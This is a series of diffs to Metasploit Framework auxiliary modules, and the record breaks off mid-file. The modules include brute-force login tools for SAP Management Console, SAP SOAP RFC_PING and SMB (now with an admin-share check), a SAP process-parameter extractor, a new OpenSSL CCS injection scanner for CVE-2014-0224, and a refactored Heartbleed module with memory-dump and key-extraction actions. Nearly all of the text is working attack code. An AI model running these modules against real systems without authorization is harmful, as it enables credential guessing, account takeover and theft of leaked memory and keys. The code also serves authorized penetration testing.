res = send_request_cgi({
'uri' => location,
'method' => 'GET',
@ -87,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary
return :skip_user
when /Invalid password/
vprint_status("#{peer} - Username found: #{user}")
else /\<a href="process\.php\?logout=1"\>/
when /\<a href="process\.php\?logout=1"\>/
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
report_auth_info({
:host => rhost,
@ -107,8 +111,12 @@ class Metasploit3 < Msf::Auxiliary
def run
@uri = normalize_uri(target_uri.path)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri << "/" if @uri[-1, 1] != "/"
super
end
def run_host(ip)
each_user_pass { |user, pass|
vprint_status("#{peer} - Trying \"#{user}:#{pass}\"")
do_login(user, pass)

View File

@ -16,13 +16,10 @@ class Metasploit4 < Msf::Auxiliary
super(
'Name' => 'SAP Management Console Brute Force',
'Description' => %q{
This module simply attempts to brute force the username |
password for the SAP Management Console SOAP Interface. By
setting the SAP SID value, a list of default SAP users can be
tested without needing to set a USERNAME or USER_FILE value.
The default usernames are stored in
./data/wordlists/sap_common.txt (the value of SAP SID is
automatically inserted into the username to replce <SAPSID>).
This module simply attempts to brute force the username and
password for the SAP Management Console SOAP Interface. If
the SAP_SID value is set it will replace instances of <SAPSID>
in any user/pass from any wordlist.
},
'References' =>
[
@ -36,49 +33,43 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(50013),
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
], self.class)
register_autofilter_ports([ 50013 ])
end
def run_host(ip)
def run_host(rhost)
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'uri' => uri,
'method' => 'GET'
}, 25)
})
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
print_error("#{peer} [SAP] Unable to connect")
return
end
if datastore['SAP_SID'] != ''
if !datastore['USER_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
elsif !datastore['USERPASS_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
else
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt'
end
end
print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
each_user_pass do |user, pass|
enum_user(user,pass)
enum_user(user,pass,uri)
end
end
def enum_user(user, pass)
def enum_user(user, pass, uri)
# Replace placeholder with SAP SID, if present
if datastore['SAP_SID'] != ''
if datastore['SAP_SID']
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
end
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'")
success = false
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@ -103,7 +94,7 @@ class Metasploit4 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'uri' => uri,
'method' => 'POST',
'data' => data,
'headers' =>
@ -113,9 +104,9 @@ class Metasploit4 < Msf::Auxiliary
'Content-Type' => 'text/xml; charset=UTF-8',
'Authorization' => 'Basic ' + user_pass
}
}, 45)
})
return if not res
return unless res
if (res.code != 500 and res.code != 200)
return
@ -136,17 +127,17 @@ class Metasploit4 < Msf::Auxiliary
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect")
print_error("#{peer} [SAP] Unable to connect")
return
end
if success
print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'")
print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
if permission
vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls")
vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
else
vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
end
report_auth_info(
@ -160,10 +151,9 @@ class Metasploit4 < Msf::Auxiliary
:target_host => rhost,
:target_port => rport
)
return
else
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
return
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
end
end
end

View File

@ -30,7 +30,7 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('MATCH', [false, 'Display matches e.g login/', '']),
], self.class)
register_autofilter_ports([ 50013 ])
@ -38,16 +38,6 @@ class Metasploit4 < Msf::Auxiliary
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
}, 25)
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
getprocparam(ip)
end
@ -75,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => data,
'headers' =>
@ -84,9 +74,9 @@ class Metasploit4 < Msf::Auxiliary
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 30)
})
if not res
unless res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
@ -100,7 +90,7 @@ class Metasploit4 < Msf::Auxiliary
body = res.body
success = true
end
elsif res.code == 500
elsif res
case res.body
when /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
@ -116,16 +106,16 @@ class Metasploit4 < Msf::Auxiliary
end
if success
#Only stoor loot if MATCH is not selected
if datastore['MATCH'].empty?
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot")
store_loot(
# Only store loot if MATCH is not selected
if datastore['MATCH'].blank?
loot = store_loot(
"sap.getprocessparameters",
"text/xml",
rhost,
res.body,
".xml"
)
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to #{loot}")
else
name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n'])
print_status("[SAP] Regex match selected, skipping loot storage")

View File

@ -252,4 +252,4 @@ class Metasploit4 < Msf::Auxiliary
end
end
end
end

View File

@ -25,13 +25,10 @@ class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer',
'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer',
'Description' => %q{
This module attempts to brute force SAP username and passwords through the
/sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
tested without needing to set a CLIENT. Common/Default user and password
combinations can be tested just setting DEFAULT_CRED variable to true. These
default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
/sap/bc/soap/rfc SOAP service, using RFC_PING function.
},
'References' =>
[
@ -47,34 +44,32 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
OptString.new('CLIENT', [true, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ])
], self.class)
end
def run_host(ip)
if datastore['CLIENT'].nil?
print_status("Using default SAP client list")
client = ['000', '001', '066']
def run_host(rhost)
client_list = []
if datastore['CLIENT'] =~ /^\d{3},/
client_list = datastore['CLIENT'].split(/,/)
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
array = datastore['CLIENT'].split(/-/)
client_list = (array.at(0)..array.at(1)).to_a
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}\z/
client_list.push(datastore['CLIENT'])
print_status("Brute forcing client #{datastore['CLIENT']}")
else
client = []
if datastore['CLIENT'] =~ /^\d{3},/
client = datastore['CLIENT'].split(/,/)
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
array = datastore['CLIENT'].split(/-/)
client = (array.at(0)..array.at(1)).to_a
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}\z/
client.push(datastore['CLIENT'])
print_status("Brute forcing client #{datastore['CLIENT']}")
else
print_status("Invalid CLIENT - using default SAP client list instead")
client = ['000', '001', '066']
end
fail_with(Failure::BadConfig, "Invalid CLIENT")
end
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] Credentials",
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] #{peer} Credentials",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
@ -86,29 +81,29 @@ class Metasploit4 < Msf::Auxiliary
"user",
"pass"
])
if datastore['DEFAULT_CRED']
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
credentials.each do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
end
client_list.each do |c|
print_status("#{peer} [SAP] Trying client: #{c}")
each_user_pass do |u, p|
vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}")
begin
success = bruteforce(u, p, c)
saptbl << [ rhost, rport, c, u, p] if success
rescue ::Rex::ConnectionError
print_error("#{peer} [SAP] Not responding")
return
end
end
end
each_user_pass do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
end
end
if saptbl.rows.count > 0
print_line saptbl.to_s
end
print(saptbl.to_s)
end
def bruteforce(username,password,client)
uri = normalize_uri(target_uri.path)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
@ -116,39 +111,40 @@ class Metasploit4 < Msf::Auxiliary
data << '</n1:RFC_PING>'
data << '</env:Body>'
data << '</env:Envelope>'
begin
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'method' => 'POST',
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
'ctype' => 'text/xml; charset=UTF-8',
'authorization' => basic_auth(username, password),
'headers' => {
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_get' => {
'sap-client' => client,
'sap-language' => 'EN'
},
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
'ctype' => 'text/xml; charset=UTF-8',
'authorization' => basic_auth(username, password),
'headers' =>
{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => client,
'sap-language' => 'EN'
}
})
if res and res.code == 200
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap",
:proto => "tcp",
:user => "#{username}",
:pass => "#{password}",
:proof => "SAP Client: #{client}",
:active => true
)
return true
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
return false
})
if res && res.code == 200 && res.body.include?('RFC_PING')
print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap",
:proto => "tcp",
:user => username,
:pass => password,
:proof => "SAP Client: #{client}",
:active => true
)
return true
end
return false
false
end
end

View File

@ -204,4 +204,4 @@ class Metasploit3 < Msf::Auxiliary
end
disconnect
end
end
end

View File

@ -32,7 +32,9 @@ class Metasploit3 < Msf::Auxiliary
'Author' =>
[
'tebo <tebo [at] attackresearch [dot] com>', # Original
'Ben Campbell' # Refactoring
'Ben Campbell', # Refactoring
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', # admin check
'Tom Sellers <tom <at> fadedcode.net>' # admin check/bug fix
],
'References' =>
[
@ -69,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('SMBPass', [ false, "SMB Password" ]),
OptString.new('SMBUser', [ false, "SMB Username" ]),
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
OptBool.new('CHECK_ADMIN', [ false, "Check for Admin rights", false]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false])
], self.class)
@ -124,6 +127,25 @@ class Metasploit3 < Msf::Auxiliary
# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
status_code = 'STATUS_SUCCESS'
if datastore['CHECK_ADMIN']
status_code = :not_admin
# Drop the existing connection to IPC$ in order to connect to admin$
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
begin
simple.connect("\\\\#{datastore['RHOST']}\\admin$")
status_code = :admin_access
simple.disconnect("\\\\#{datastore['RHOST']}\\admin$")
rescue
status_code = :not_admin
ensure
begin
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
rescue ::Rex::Proto::SMB::Exceptions::NoReply
end
end
end
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
status_code = e.get_error(e.error_code)
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
@ -187,7 +209,16 @@ class Metasploit3 < Msf::Auxiliary
end
def valid_credentials?(status)
return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
case status
when 'STATUS_SUCCESS', :admin_access, :not_admin
return true
when *@correct_credentials_status_codes
return true
else
return false
end
end
def try_user_pass(domain, user, pass)
@ -214,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary
output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%')
case status
when 'STATUS_SUCCESS'
when 'STATUS_SUCCESS', :admin_access, :not_admin
# Auth user indicates if the login was as a guest or not
if(simple.client.auth_user)
print_good(output_message % "SUCCESSFUL LOGIN")
@ -275,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary
def report_creds(domain,user,pass,active)
login_name = ""
if accepts_bogus_domains?(user,pass,rhost)
if accepts_bogus_domains?(user,pass,rhost) || domain.blank?
login_name = user
else
login_name = "#{domain}\\#{user}"

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
CCS_RECORD_TYPE = 0x14
ALERT_RECORD_TYPE = 0x15
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}
def initialize
super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014.
},
'Author' => [
'Masashi Kikuchi', # Vulnerability discovery
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
'juan vazquez' # Msf module
],
'References' =>
[
['CVE', '2014-0224'],
['URL', 'http://ccsinjection.lepidum.co.jp/'],
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
],
'DisclosureDate' => 'Jun 5 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def run_host(ip)
ccs_injection
end
def ccs_injection
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending CCS...")
sock.put(ccs)
alert = sock.get_once(-1, response_timeout)
if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
elsif alert
vprint_warning("#{peer} - Unexpected response.")
end
end
def report
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully detected CCS injection"
})
end
def ccs
payload = "\x01" # Change Cipher Spec Message
ssl_record(CCS_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def establish_connect
connect
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
end

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
#
# Main methods
#
# Called when using check
def check_host(ip)
@check_only = true
vprint_status "#{peer} - Checking for Heartbleed exposure"
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
end
end
# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end
if response_timeout < 0
print_error("RESPONSE_TIMEOUT should be bigger than 0")
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end
super
end
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end
# ensure all connections are closed
disconnect
end
#
# DATASTORE values
#
# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore["HEARTBEAT_LENGTH"]
datastore['HEARTBEAT_LENGTH']
end
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def tls_version
datastore['TLS_VERSION']
end
def dumpfilter
datastore['DUMPFILTER']
end
def max_keytries
datastore['MAX_KEYTRIES']
end
def xmpp_domain
datastore['XMPPDOMAIN']
end
def status_every
datastore['STATUS_EVERY']
end
def tls_callback
datastore['TLS_CALLBACK']
end
#
# TLS Callbacks
#
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once(-1, response_timeout)
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_imap
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
sock.get_once
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = sock.get_once
res = get_data
unless res && res =~ /S/
return nil
end
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
def tls_pop3
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("CAPA\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/
return nil
end
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
end
def tls_jabber
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
connect
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
res = sock.get(response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
res
end
def run_host(ip)
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys()
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
#
# Helper Methods
#
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
temp = sock.get_once(to_receive, response_timeout)
break if temp.nil?
data << temp
to_receive -= temp.length
end
data
end
def to_hex_string(data)
